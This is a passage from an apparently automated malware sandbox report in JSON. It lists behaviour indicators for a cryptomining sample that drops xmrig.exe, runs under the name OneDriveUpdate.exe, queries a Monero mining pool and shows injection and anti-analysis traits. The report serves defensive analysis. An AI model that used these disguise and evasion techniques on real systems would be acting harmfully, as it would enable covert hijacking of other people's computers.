.NET runtime environment","description":"\"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\3b9003e4f27d92e40668f0efad11e022\\mscorlib.ni.dll\" at 1B150000\n \"xmrig.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\3b9003e4f27d92e40668f0efad11e022\\mscorlib.ni.dll\" at 1B150000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at 4C600000","origin":"Loaded Module","mitre_attack_id":"T1562.001","id":"module-8","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 5ABF0000\n \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 59C90000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 5ABF0000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 59C90000\n \"xmrig.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 5ABF0000\n \"xmrig.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 59C90000\n \"OneDriveUpdate.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 59C90000\n \"OneDriveUpdate.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 5ABF0000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at 2EBC0000\n \"xmrig.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at 2EBC0000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 5C4D0000\n \"net.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 5C4D0000\n \"net1.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 5C4D0000\n \"net1.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at C7440000\n \"net1.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 41570000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 5C4D0000\n \"xmrig.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 5C4D0000\n \"OneDriveUpdate.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 5C4D0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"19001a00000000002042ab5afd7f0000@ntdll.dll\"\n \"22002300000000004042ab5afd7f0000@ntdll.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\" was detected as \"Microsoft Visual C/C++\" and name: \"Compiler\"\n \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\" was detected as \"Microsoft Linker\" and name: \"Linker\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$44","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"PE file contains Debug data directory","description":"\"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"","origin":"Static Parser","id":"static-146","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\" has an executable section named \".text\"\n \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\" has an executable section named \".CLR_UEF\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"\"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\" has an writable section named \".data\"\n \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\" has an writable section named \".didat\"\n \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\" has an writable section named \"Section\"","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"\"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\" file has an entrypoint instructions - \"sub\trsp, 0x28,call\t0x1405c942c,add\trsp, 0x28,jmp\t0x1405c8e9c,int3\t,int3\t,sub\trsp, 0x28,call\t0x1402ba960,jmp\t0x1405c9041,xor\teax, eax,add\trsp, 0x28,ret\t,int3\t,int3\t,jmp\t0x1405c9034,int3\t,int3\t,int3\t,mov\tqword ptr [rsp + 0x10], rbx,mov\tqword ptr [rsp + 0x18], rsi,push\trdi,sub\trsp, 0x10,xor\teax, eax,xor\tecx, ecx,cpuid\t,mov\tr8d, ecx,xor\tr11d, r11d,mov\tr10d, edx,xor\tr8d, 0x6c65746e,xor\tr10d, 0x49656e69,mov\tr9d, ebx,mov\tesi, eax,xor\tecx, ecx,\"","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"PE file has a big raw size section","description":"Raw size of \".text\" is \"0x615800\" greater than 0x100000\n Raw size of \".rdata\" is \"0x17d600\" greater than 0x100000\n Raw size of \".rsrc\" is \"0x147000\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-125","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"PE file has a big virtual size section","description":"Virtual size of \".text\" is \"0x61561c\" greater than 0x100000\n Virtual size of \".rdata\" is \"0x17d472\" greater than 0x100000\n Virtual size of \".rsrc\" is \"0x147000\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-124","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"PE file has a high image base","description":"\"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\" has high imagebase \"0x140000000\"","origin":"Static Parser","relevance":1,"id":"static-93","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"Observed system executable string:\"\\Device\\HarddiskVolume3\\Windows\\System32\\net.exe\" [Source: 00000000-00001548-00000BC0-2747336629]\n Observed system executable string:\"%WINDIR%\\SYSTEM32\\net.exe\" [Source: 00000000-00001548-00000BC0-2747339036]\n Observed system executable string:\"\\Device\\HarddiskVolume3\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" [Source: 00000000-00001548-00000BC0-2762406779]\n Observed system executable string:\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" [Source: 00000000-00001548-00000BC0-2762408027]\n Observed system executable string:\"\\Device\\HarddiskVolume3\\Windows\\System32\\conhost.exe\" [Source: 00000000-00005904-00000BC0-2779571223]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"net.exe\" (UID: 00000000-00001396) was launched with new environment variables: \"USERDNSDOMAIN=\"DESKTOP-8LD9T6N\"\"\n Process \"net.exe\" (UID: 00000000-00001396) was launched with modified environment variables: \"NUMBER_OF_PROCESSORS\"","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"sg.moneroocean.stream\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"$45","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"$46","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"Scanning for window names","description":"\"OneDriveUpdate.exe\" searching for class \"Shell_TrayWnd\"","origin":"API Call","mitre_attack_id":"T1010","relevance":10,"id":"api-70","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$47","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"$48","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_u00pv2mi.oyi.ps1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_dqciugsk.qli.psm1\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Installation/Persistence","name":"Attempts remote code execution into another process memory space","origin":"API Call","mitre_attack_id":"T1055.002","relevance":1,"id":"api-315","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to queue an Asynchronous Procedure Call (APC) in a remote process (API string)","description":"Found reference to API \"QueueUserAPC\" (Indicator: \"QueueUserAPC\"; File: \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\")\n Found reference to API \"QueueUserAPC2\" (Indicator: \"QueueUserAPC\"; Source: \"00000000-00001548.00000001.241886.8F878000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.004","relevance":1,"id":"string-255","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$49","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$4a","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\" queries basic process information of the \"C:\\4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\" (UID: 1548)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$4b","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"powershell.exe\" reads file \"c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe.config\"\n \"powershell.exe\" reads file \"c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config\"\n \"powershell.exe\" reads file \"c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\3b9003e4f27d92e40668f0efad11e022\\mscorlib.ni.dll.aux\"\n \"powershell.exe\" reads file \"c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\microsoft.pb378ec07#\\86af2f4f2745738837c95f24472c32ca\\microsoft.powershell.consolehost.ni.dll.aux\"\n \"powershell.exe\" reads file \"c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\ce0fd4f5b50baa17e7b80e4ee874ad11\\system.ni.dll.aux\"\n \"powershell.exe\" reads file \"c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.core\\990501e6199819806f01c8ecac88baac\\system.core.ni.dll.aux\"\n \"powershell.exe\" reads file \"c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.manaa57fc8cc#\\ea893d7e336a196c927c3f1251a1d1a9\\system.management.automation.ni.dll.aux\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)\n Matched sigs: Able to identify virtual environment by using user activity (API string)\n Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: Able to identify virtual environment by using API string\n Matched sigs: Contains ability to retrieve type of COM object\n Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques\n Matched sigs: Observed a high volume of repeated registry API calls (API Hammering)","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"$4c","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\"powershell.exe\" touched file \"C:\\Windows\\System32\\CatRoot\"\n \"powershell.exe\" touched file \"C:\\Windows\\System32\\catroot2\"\n \"powershell.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive\"\n \"powershell.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive\"","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$4d","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$4e","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\" writes file \"c:\\logs\\miner.log\"\n \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\" writes file \"c:\\bin\\xmrig.exe\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes log files","description":"\"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\" writes a file \"C:\\logs\\miner.log\"","origin":"API Call","mitre_attack_id":"T1074.001","relevance":1,"id":"api-159","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create/connect to a named pipe (API string)","description":"Found reference to API \"CreateNamedPipeA\" (Indicator: \"CreateNamedPipe\"; File: \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\")\n Found reference to API \"ConnectNamedPipe\" (Indicator: \"ConnectNamedPipe\"; File: \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\")\n Found reference to API \"g____PInvoke|67_0\" (Indicator: \"CreatePipe\"; Source: \"00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp\")\n Found reference to API \"CreatePipe\" (Indicator: \"CreatePipe\"; Source: \"00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp\")\n Found reference to API \"CreatePipeWithSecurityAttributes\" (Indicator: \"CreatePipe\"; Source: \"00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-210","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"$4f","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"13.0.0.0\"\n \"1.2.0.5\"\n \"8.0.0.0\"\n \"4.0.0.0\"\n \"2.5.4.3\"\n \"2.5.4.5\"\n \"2.5.4.6\"\n \"2.5.4.7\"\n \"2.5.4.8\"\n \"2.5.4.10\"\n \"2.5.4.11\"\n \"2.5.4.97\"\n \"2.5.29.14\"\n \"2.5.29.15\"\n \"2.5.29.17\"\n \"2.5.29.19\"\n \"2.5.29.20\"\n \"2.5.29.35\"\n \"2.5.29.37\"","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$50","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$51","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Network Related","name":"Possibly tries to communicate over SSL connection (HTTPS)","description":"Found HTTPS url \"https://aka.ms\"","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-98","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - AES encryption","description":"YARA signature for AES encryption matched on file \"OneDriveUpdate.exe\"\n YARA signature for AES encryption matched on process \"00000000-00005904\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":5,"id":"yara-103","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - Anti Debugging Used","description":"YARA signature matched on Anti Debugging used in file \"sample.bin\"","origin":"YARA Signature","mitre_attack_id":"T1622","relevance":2,"id":"yara-139","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - Djb2 Hash Algorithm","description":"YARA signature for Djb2 Hash Algorithm matched on file \"sample.bin\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":5,"id":"yara-542","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - PE executable embedded in .rsrc section","description":"YARA signature for embedded PE executable in .rsrc section matched on file \"sample.bin\"","origin":"YARA Signature","mitre_attack_id":"T1027.009","relevance":5,"id":"yara-26","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - RSA algorithm (keys)","description":"YARA signature for RSA public and private key matched on process \"00000000-00001548\"\n YARA signature for RSA public and private key matched on file \"sample.bin\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":1,"id":"yara-62","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – Embedded PE executable","description":"YARA signature matched on embedded PE in file \"sample.bin\"","origin":"YARA Signature","mitre_attack_id":"T1027.009","relevance":2,"id":"yara-140","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"$52","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve running process details (.NET)","description":"Found string \"get_ProcessName\" (Source: \"00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-931","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$53","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"net1.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"powershell.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"xmrig.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"OneDriveUpdate.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00004556)\n \"OneDriveUpdate.exe\" called \"GetComputerNameA\" (UID: 00000000-00005904)\n \"OneDriveUpdate.exe\" called \"GetComputerNameW\" (UID: 00000000-00005904)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"powershell.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff7f0000ff0000000000000008000000d8210000000001000600004f\"}\n \"xmrig.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff7f0000ff0000000000000008000000d8210000000001000600004f\"}\n \"OneDriveUpdate.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff7f0000ff0000000000000008000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"2\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00004556)\n \"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"65538\"}","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$54","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"Found reference to API \"FindFirstFileExW\" (Indicator: \"FindFirstFile\"; File: \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\")\n Found reference to API \"FindNextFileW\" (Indicator: \"FindNextFile\"; File: \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$55","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; File: \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\")\n Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00001548.00000000.239967.82C90000.00000002.mdmp, 00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.80F10000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; File: \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\")\n Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; File: \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: 